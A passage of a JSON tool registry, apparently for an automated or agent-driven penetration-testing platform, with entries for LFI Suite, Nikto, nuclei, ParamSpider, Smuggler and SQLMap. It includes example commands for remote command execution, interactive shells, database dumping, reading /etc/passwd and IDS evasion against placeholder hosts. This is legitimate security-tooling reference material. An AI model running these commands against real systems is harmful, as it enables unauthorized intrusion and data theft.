      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Local File Inclusion exploitation suite that automates LFI detection, file reading, RCE via log poisoning, and PHP wrapper attacks.",
    "examples": [
      {
        "description": "Basic LFI scan",
        "command": "python3 lfi.py -t \"http://example.com/page.php?file=test\""
      },
      {
        "description": "Execute command on target",
        "command": "python3 lfi.py -t \"http://example.com/page.php?file=test\" --os-cmd \"id\""
      },
      {
        "description": "Interactive shell",
        "command": "python3 lfi.py -t \"http://example.com/page.php?file=test\" --shell"
      }
    ],
    "execution": {
      "template": "python3 lfi.py {flag-type} {flag-os-cmd} {flag-read-file} {flag-shell} {flag-proxy} -t {target}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive"
    ],
    "id": "security-web-lfi-suite",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/D35m0nd142/LFISuite.git",
        "commands": [
          "git clone https://github.com/D35m0nd142/LFISuite.git"
        ]
      }
    ],
    "items": [
      "Shell",
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "lfi-suite",
    "namespace": "security:web:lfi-suite",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target URL",
        "aliases": [
          "-t",
          "--target"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-type",
        "type": "string",
        "required": false,
        "description": "Exploit type (basic, expect, input, enc, etc.)",
        "aliases": [
          "--type"
        ],
        "flag": "--type"
      },
      {
        "name": "flag-os-cmd",
        "type": "string",
        "required": false,
        "description": "OS command to execute",
        "aliases": [
          "--os-cmd"
        ],
        "flag": "--os-cmd"
      },
      {
        "name": "flag-read-file",
        "type": "string",
        "required": false,
        "description": "File to read on remote system",
        "aliases": [
          "--read-file"
        ],
        "flag": "--read-file"
      },
      {
        "name": "flag-shell",
        "type": "boolean",
        "required": false,
        "description": "Interactive shell mode",
        "aliases": [
          "--shell"
        ],
        "flag": "--shell"
      },
      {
        "name": "flag-proxy",
        "type": "string",
        "required": false,
        "description": "HTTP proxy",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "LFI Suite GitHub",
        "url": "https://github.com/D35m0nd142/LFISuite"
      }
    ],
    "related_tools": [
      "kadimus",
      "commix",
      "tplmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "lfi-scan-results",
        "remote-access"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Nikto — Web Server Scanner\n\nNikto is an open-source web server scanner that performs comprehensive tests against web servers for multiple items, including dangerous files/CGIs, outdated server software, and misconfigurations.\n\n## Key Features\n\n- **Server Fingerprinting**: Identify web server type and version\n- **Vulnerability Checks**: 6700+ potentially dangerous files/programs\n- **Config Assessment**: Check for outdated or misconfigured software\n- **SSL/TLS Checks**: Test HTTPS configurations\n- **Multiple Output Formats**: HTML, XML, CSV, TXT, JSON\n\n## Scan Tuning Options\n\n| Tuning Value | Category |\n|-------------|----------|\n| 1 | Interesting File / Seen in logs |\n| 2 | Misconfiguration / Default File |\n| 3 | Information Disclosure |\n| 4 | Injection (XSS/Script/HTML) |\n| 5 | Remote File Retrieval |\n\n## Basic Usage\n\n```bash\n# Basic scan\nnikto -h example.com\n\n# HTTPS with HTML report\nnikto -h example.com -ssl -Format html -output report.html\n\n# Custom port with evasion\nnikto -h example.com -p 8080 -evasion 1\n```\n\n## Operational Security\n\n- Nikto can be noisy and easily detected by IDS/IPS\n- Use `-evasion` techniques for stealth\n- Scanning without authorization is illegal\n",
    "_source": "nikto.md",
    "allowed-tools": [
      "nikto",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.scan.report",
        "description": "Nikto scan report",
        "mime": "text/html",
        "trust_level": "verified"
      },
      {
        "type": "web.scan.text",
        "description": "Nikto text output",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.scan.vulnerability",
      "web.fingerprint.server",
      "web.discovery.path",
      "web.scan.config"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target web server URL"
        },
        {
          "type": "web.target.host",
          "description": "Target hostname or IP"
        },
        {
          "type": "network.port",
          "description": "Target port number"
        }
      ],
      "outputs": [
        {
          "type": "web.scan.report",
          "description": "HTML scan report",
          "mime": "text/html"
        },
        {
          "type": "web.scan.text",
          "description": "Text output of findings",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Web server scanner that tests for dangerous files, outdated server software, and misconfigurations on web servers.",
    "examples": [
      {
        "description": "Basic scan of a web server on default port",
        "command": "nikto -h example.com"
      },
      {
        "description": "Scan on a non-standard port with SSL",
        "command": "nikto -h example.com -p 8443 -ssl"
      },
      {
        "description": "Output results to HTML report",
        "command": "nikto -h example.com -p 443 -ssl -Format html -output report.html"
      },
      {
        "description": "Scan with specific tuning options",
        "command": "nikto -h example.com -Tuning 123"
      },
      {
        "description": "Evasion technique for WAF bypass",
        "command": "nikto -h example.com -evasion 1"
      },
      {
        "description": "Custom virtual host scan",
        "command": "nikto -h 10.0.0.1 -idhost vhost.example.com"
      },
      {
        "description": "Scan with custom user agent and timeout",
        "command": "nikto -h example.com -useragent \"Mozilla/5.0\" -timeout 10"
      }
    ],
    "execution": {
      "template": "nikto -h {target} -p {port}",
      "sandbox": "execFile",
      "timeout_seconds": 900,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "ip",
      "port": "80"
    },
    "id": "security-web-nikto",
    "install": [
      {
        "method": "apt",
        "package_name": "nikto",
        "commands": [
          "apt-get install -y nikto"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595",
      "T1046"
    ],
    "name": "nikto",
    "namespace": "security:web:nikto",
    "parameters": [
      {
        "name": "host",
        "template_key": "host",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target hostname or IP address",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "port",
        "template_key": "port",
        "type": "integer",
        "required": false,
        "default_value": 80,
        "description": "Target port",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "ssl",
        "template_key": "ssl",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Force SSL/TLS mode (port 443)",
        "aliases": [
          "-ssl"
        ],
        "flag": "-ssl"
      },
      {
        "name": "Format",
        "template_key": "Format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output format: html, xml, csv, txt, json",
        "aliases": [
          "-Format"
        ],
        "flag": "-Format"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Output file for scan results",
        "aliases": [
          "-output"
        ],
        "flag": "-output"
      },
      {
        "name": "Tuning",
        "template_key": "Tuning",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Tuning options (1-9) to control scan scope",
        "aliases": [
          "-Tuning"
        ],
        "flag": "-Tuning"
      },
      {
        "name": "idhost",
        "template_key": "idhost",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Hostname to use in HTTP Host header",
        "aliases": [
          "-idhost"
        ],
        "flag": "-idhost"
      },
      {
        "name": "evasion",
        "template_key": "evasion",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Evasion technique (1-9)",
        "aliases": [
          "-evasion"
        ],
        "flag": "-evasion"
      },
      {
        "name": "mutate",
        "template_key": "mutate",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Mutate technique for more checks",
        "aliases": [
          "-mutate"
        ],
        "flag": "-mutate"
      },
      {
        "name": "root",
        "template_key": "root",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Prepend root path to all requests",
        "aliases": [
          "-root"
        ],
        "flag": "-root"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Request timeout in seconds",
        "aliases": [
          "-timeout"
        ],
        "flag": "-timeout"
      },
      {
        "name": "no404",
        "template_key": "no404",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Disable 404 detection heuristic",
        "aliases": [
          "-no404"
        ],
        "flag": "-no404"
      },
      {
        "name": "useragent",
        "template_key": "useragent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom User-Agent header value",
        "aliases": [
          "-useragent"
        ],
        "flag": "-useragent"
      },
      {
        "name": "Display",
        "template_key": "Display",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Display verbosity level (1-4)",
        "aliases": [
          "-Display"
        ],
        "flag": "-Display"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Nikto GitHub",
        "url": "https://github.com/sullo/nikto"
      },
      {
        "label": "Nikto Documentation",
        "url": "https://github.com/sullo/nikto/wiki"
      }
    ],
    "related_tools": [
      "whatweb",
      "wpscan",
      "burpsuite",
      "owasp-zap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scan-results",
        "server-fingerprint",
        "vuln-list"
      ],
      "consumes": [
        "target-url",
        "target-host"
      ]
    }
  },
  {
    "_body": "\n# nuclei — Template-Based Vulnerability Scanner\n\nnuclei is a fast vulnerability scanner from ProjectDiscovery that sends requests across targets using customizable YAML templates, enabling rapid and extensible scanning for CVEs, misconfigurations, exposed panels, and security issues.\n\n## Template Categories\n\n| Directory | Purpose |\n|-----------|---------|\n| `cves/` | CVE-identified vulnerabilities |\n| `exposed-panels/` | Admin/login panels |\n| `misconfiguration/` | Security misconfigurations |\n| `technologies/` | Technology fingerprinting |\n| `default-logins/` | Default credentials |\n\n## Pipeline Scanning\n\n```bash\n# Full recon pipeline\nsubfinder -d target.com | httpx -silent | nuclei -t cves/ -json\n\n# Scan from live hosts only\ncat live-hosts.txt | nuclei -t ~/nuclei-templates/ -severity critical,high\n```\n\n## Common Scans\n\n```bash\n# Scan a single URL\nnuclei -u https://example.com\n\n# Run specific template categories\nnuclei -u https://example.com -t cves/ -t misconfiguration/\n\n# Output results\nnuclei -l targets.txt -json -o scan-results.json\n```\n",
    "_source": "nuclei.md",
    "allowed-tools": [
      "nuclei",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.json",
        "description": "Nuclei scan results as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.txt",
        "description": "Nuclei scan results as text",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.scan.vulnerability",
      "security.scan.cve",
      "web.scan.misconfiguration",
      "security.scan.automated",
      "network.discovery.vulnerability"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.url",
          "description": "Single target URL"
        },
        {
          "type": "network.target.domain.list",
          "description": "File with list of targets"
        },
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        }
      ],
      "outputs": [
        {
          "type": "report.json",
          "description": "Scan findings in JSON format",
          "mime": "application/json"
        },
        {
          "type": "report.txt",
          "description": "Scan findings in text format",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast, template-based vulnerability scanner from ProjectDiscovery that uses YAML templates to scan for CVEs, misconfigurations, and security issues.",
    "examples": [
      {
        "description": "Scan a single target with all templates",
        "command": "nuclei -u https://example.com"
      },
      {
        "description": "Run only CVE templates on a target",
        "command": "nuclei -u https://example.com -t cves/"
      },
      {
        "description": "Scan multiple targets from a file",
        "command": "nuclei -l urls.txt -json -o results.json"
      },
      {
        "description": "Filter by severity",
        "command": "nuclei -u https://example.com -severity critical,high"
      },
      {
        "description": "Scan using specific tags",
        "command": "nuclei -u https://example.com -tags rce,oauth"
      },
      {
        "description": "Pipeline from httpx",
        "command": "subfinder -d example.com | httpx -silent | nuclei -t cves/ -json"
      }
    ],
    "execution": {
      "template": "nuclei {flags} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin"
    ],
    "id": "security-web-nuclei",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/projectdiscovery/nuclei/v3/cmd/nuclei",
        "commands": [
          "go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595"
    ],
    "name": "nuclei",
    "namespace": "security:web:nuclei",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": false,
        "description": "Single target URL",
        "aliases": [
          "-u",
          "--target"
        ],
        "flag": "-u"
      },
      {
        "name": "list",
        "type": "string",
        "required": false,
        "description": "File with list of targets",
        "aliases": [
          "-l",
          "--list"
        ],
        "flag": "-l"
      },
      {
        "name": "templates",
        "type": "string",
        "required": false,
        "description": "Template or directory of templates to run",
        "aliases": [
          "-t",
          "--templates"
        ],
        "flag": "-t"
      },
      {
        "name": "severity",
        "type": "string",
        "required": false,
        "description": "Filter by severity (info, low, medium, high, critical)",
        "aliases": [
          "-s",
          "--severity"
        ],
        "flag": "-s"
      },
      {
        "name": "tags",
        "type": "string",
        "required": false,
        "description": "Filter by template tags",
        "aliases": [
          "-tags"
        ],
        "flag": "-tags"
      },
      {
        "name": "flag-json",
        "type": "boolean",
        "required": false,
        "description": "Output as JSON lines",
        "aliases": [
          "-j",
          "--json"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-o",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-rate-limit",
        "type": "integer",
        "required": false,
        "description": "Maximum requests per second",
        "aliases": [
          "-rl",
          "--rate-limit"
        ],
        "flag": "-rl"
      },
      {
        "name": "flag-bulk-size",
        "type": "integer",
        "required": false,
        "description": "Max targets to process in parallel",
        "aliases": [
          "-bs",
          "--bulk-size"
        ],
        "flag": "-bs"
      },
      {
        "name": "flag-stats",
        "type": "boolean",
        "required": false,
        "description": "Display scan statistics",
        "aliases": [
          "-stats"
        ],
        "flag": "-stats"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "nuclei GitHub",
        "url": "https://github.com/projectdiscovery/nuclei"
      },
      {
        "label": "nuclei Documentation",
        "url": "https://docs.projectdiscovery.io/tools/nuclei"
      },
      {
        "label": "nuclei Templates",
        "url": "https://github.com/projectdiscovery/nuclei-templates"
      }
    ],
    "related_tools": [
      "httpx",
      "katana",
      "subfinder",
      "nikto"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTP",
      "HTTPS",
      "DNS"
    ],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scan-results",
        "vulnerability-report"
      ],
      "consumes": [
        "target-url",
        "host-list"
      ]
    }
  },
  {
    "_body": "\n# ParamSpider — Web Archive Parameter Mining\n\nParamSpider mines parameters from web archive sources to discover hidden GET/POST parameters and potential injection points for web applications. It helps identify attack surface that may be missed by traditional crawling.\n\n## Workflow\n\n```bash\n# Mine parameters and test with ffuf\nparamspider -d target.com --silent | sort -u | ffuf -u \"DOMAIN\" -w - -mc 200\n\n# Mine and probe live endpoints\nparamspider -d target.com --silent | grep \"\\.php\" | httpx -status-code\n\n# Mine parameters with high-level filtering\nparamspider -d target.com --level high --priority -o params.txt\n```\n",
    "_source": "paramspider.md",
    "allowed-tools": [
      "paramspider",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "crawl.txt",
        "description": "Discovered parameterized URLs",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.endpoint",
      "web.enumeration.parameter",
      "security.recon.passive",
      "web.archive.url"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain to mine parameters from"
        }
      ],
      "outputs": [
        {
          "type": "crawl.txt",
          "description": "List of URLs with discovered parameters",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Tool for mining parameters from web archives to discover hidden endpoints, GET/POST parameters, and potential injection points.",
    "examples": [
      {
        "description": "Mine parameters for a domain",
        "command": "paramspider -d example.com"
      },
      {
        "description": "Mine with custom output file",
        "command": "paramspider -d example.com -o results.txt"
      },
      {
        "description": "Exclude image file extensions",
        "command": "paramspider -d example.com --exclude png,jpg,gif,css,js"
      },
      {
        "description": "High-level filtering for cleaner results",
        "command": "paramspider -d example.com --level high --priority"
      },
      {
        "description": "Silent mode for pipeline",
        "command": "paramspider -d example.com --silent | httpx -status-code -title"
      }
    ],
    "execution": {
      "template": "paramspider {flags} {domain}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "stealth"
    ],
    "id": "security-web-paramspider",
    "install": [
      {
        "method": "pip",
        "package_name": "paramspider",
        "commands": [
          "pip install paramspider"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "paramspider",
    "namespace": "security:web:paramspider",
    "parameters": [
      {
        "name": "domain",
        "type": "string",
        "required": false,
        "description": "Target domain name",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-o",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-level",
        "type": "string",
        "required": false,
        "description": "Filter level (high, low)",
        "aliases": [
          "-l",
          "--level"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-exclude",
        "type": "string",
        "required": false,
        "description": "Exclude file extensions (comma separated)",
        "aliases": [
          "-e",
          "--exclude"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-priority",
        "type": "boolean",
        "required": false,
        "description": "Only show URLs with parameters",
        "aliases": [
          "-p",
          "--priority"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-silent",
        "type": "boolean",
        "required": false,
        "description": "Silent mode",
        "aliases": [
          "-s",
          "--silent"
        ],
        "flag": "-s"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "ParamSpider GitHub",
        "url": "https://github.com/devanshbatham/ParamSpider"
      }
    ],
    "related_tools": [
      "gau",
      "waybackurls",
      "arjun",
      "katana"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "param-list",
        "url-list"
      ],
      "consumes": [
        "target-domain"
      ]
    }
  },
  {
    "_body": "\n# Smuggler — HTTP Request Smuggling Scanner\n\nSmuggler is a Python-based tool for detecting HTTP request smuggling vulnerabilities. It tests for CL.TE (Content-Length / Transfer-Encoding), TE.CL (Transfer-Encoding / Content-Length), and TE.TE (Transfer-Encoding with obfuscation) variants.\n\n## Usage\n\n```bash\n# Basic scan\nsmuggler -u https://example.com\n\n# Disable colors\nsmuggler -u https://example.com --no-color\n\n# Check method-based smuggling\nsmuggler -u https://example.com --methods\n\n# Custom timeout\nsmuggler -u https://example.com --timeout 10\n```\n",
    "_source": "smuggler.md",
    "allowed-tools": [
      "smuggler",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.smuggling.report",
        "description": "Request smuggling scan results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.smuggle.detect",
      "web.smuggle.cl-te",
      "web.smuggle.te-cl",
      "web.smuggle.te-te"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target web server URL"
        }
      ],
      "outputs": [
        {
          "type": "web.smuggling.report",
          "description": "Scan results with detected smuggling vectors",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "HTTP request smuggling scanner that detects and tests for CL.TE, TE.CL, and TE.TE smuggling vulnerabilities in web servers and proxies.",
    "examples": [
      {
        "description": "Basic smuggling scan",
        "command": "smuggler -u https://example.com"
      },
      {
        "description": "Scan with extended timeout",
        "command": "smuggler -u https://example.com --timeout 10"
      },
      {
        "description": "Check method-based smuggling",
        "command": "smuggler -u https://example.com --methods"
      }
    ],
    "execution": {
      "template": "smuggler {flag-no-color} {flag-methods} {flag-timeout} -u {url}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "remote"
    ],
    "id": "security-web-smuggler",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/defparam/smuggler.git",
        "commands": [
          "git clone https://github.com/defparam/smuggler.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "smuggler",
    "namespace": "security:web:smuggler",
    "parameters": [
      {
        "name": "url",
        "type": "string",
        "required": true,
        "description": "Target URL",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-no-color",
        "type": "boolean",
        "required": false,
        "description": "Disable colored output",
        "aliases": [
          "--no-color"
        ],
        "flag": "--no-color"
      },
      {
        "name": "flag-timeout",
        "type": "integer",
        "required": false,
        "description": "Request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "flag-methods",
        "type": "boolean",
        "required": false,
        "description": "Check HTTP method-based smuggling",
        "aliases": [
          "--methods"
        ],
        "flag": "--methods"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Smuggler GitHub",
        "url": "https://github.com/defparam/smuggler"
      }
    ],
    "related_tools": [
      "burpsuite",
      "nmap",
      "h2csmuggler"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "smuggling-scan-results"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# SQLMap — Automatic SQL Injection Tool\n\nSQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.\n\n## Basic Detection\n\n```bash\n# Simple GET parameter test\nsqlmap -u \"http://target.com/page?id=1\" --batch\n\n# POST data test\nsqlmap -u \"http://target.com/login\" --data \"user=admin&pass=test\" --batch\n```\n\n## Enumeration\n\n```bash\n# List databases\nsqlmap -u \"http://target.com/page?id=1\" --dbs --batch\n\n# List tables in a database\nsqlmap -u \"http://target.com/page?id=1\" -D database_name --tables --batch\n\n# Dump table contents\nsqlmap -u \"http://target.com/page?id=1\" -D database_name -T users --dump --batch\n```\n\n## Exploitation\n\n```bash\n# OS shell\nsqlmap -u \"http://target.com/page?id=1\" --os-shell --batch\n\n# Read file from server\nsqlmap -u \"http://target.com/page?id=1\" --file-read \"/etc/passwd\" --batch\n```\n",
    "_source": "sqlmap.md",
    "allowed-tools": [
      "sqlmap",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.exploit.sqli.dump",
        "description": "Extracted database contents",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "web.exploit.sqli.session",
        "description": "SQLMap session file",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.injection.sql",
      "web.exploitation.database",
      "web.discovery.sqli",
      "security.exploit.sqli"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with injectable parameter"
        },
        {
          "type": "web.injection.data",
          "description": "POST data string"
        }
      ],
      "outputs": [
        {
          "type": "web.injection.sqli.results",
          "description": "SQL injection test results",
          "mime": "text/plain"
        },
        {
          "type": "web.exploit.data",
          "description": "Extracted data",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 256,
        "network": "medium",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Automatic SQL injection detection and exploitation tool with support for all major DBMS and injection techniques.",
    "examples": [
      {
        "description": "Basic SQL injection detection",
        "command": "sqlmap -u \"http://target.com/page?id=1\" --batch"
      },
      {
        "description": "Enumerate databases",
        "command": "sqlmap -u \"http://target.com/page?id=1\" --dbs --batch"
      },
      {
        "description": "Dump specific database",
        "command": "sqlmap -u \"http://target.com/page?id=1\" -D database_name --dump --batch"
      },
      {
        "description": "Get OS shell",
        "command": "sqlmap -u \"http://target.com/page?id=1\" --os-shell --batch"
      },
      {
        "description": "With POST data and cookie",
        "command": "sqlmap -u \"http://target.com/login\" --data \"user=admin&pass=test\" --cookie \"PHPSESSID=abc123\" --batch"
      }
    ],
    "execution": {
      "template": "sqlmap -u {target} --batch --level {level} --risk {risk}",
      "sandbox": "execFile",
      "timeout_seconds": 900,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "stealth"
    ],
    "global_vars": {
      "target": "url",
      "level": "1",
      "risk": "1"
    },
    "id": "security-web-sqlmap",
    "install": [
      {
        "method": "apt",
        "package_name": "sqlmap",
        "commands": [
          "apt-get install -y sqlmap"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1190"
    ],
    "name": "sqlmap",
    "namespace": "security:web:sqlmap",
    "parameters": [
      {
        "name": "C",
        "type": "boolean",
        "required": false,
        "description": "COL                   DBMS database table column to enumerate",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "D",
        "type": "boolean",
        "required": false,
        "description": "DB                    DBMS database to enumerate",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "T",
        "type": "boolean",
        "required": false,
        "description": "TBL                   DBMS database table to enumerate",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "banner",
        "type": "boolean",
        "required": false,
        "description": "Retrieve DBMS banner",
        "aliases": [
          "--banner"
        ],
        "flag": "--banner"
      },
      {
        "name": "batch",
        "template_key": "batch",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Never ask for user input",
        "aliases": [
          "--batch"
        ],
        "flag": "--batch"
      },
      {
        "name": "columns",
        "type": "boolean",
        "required": false,
        "description": "Enumerate DBMS database table columns",
        "aliases": [
          "--columns"
        ],
        "flag": "--columns"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP Cookie header value",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "current_db",
        "type": "boolean",
        "required": false,
        "description": "Retrieve DBMS current database",
        "aliases": [
          "--current-db"
        ],
        "flag": "--current-db"
      },
      {
        "name": "current_user",
        "type": "boolean",
        "required": false,
        "description": "Retrieve DBMS current user",
        "aliases": [
          "--current-user"
        ],
        "flag": "--current-user"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST data string",
        "aliases": [
          "--data"
        ],
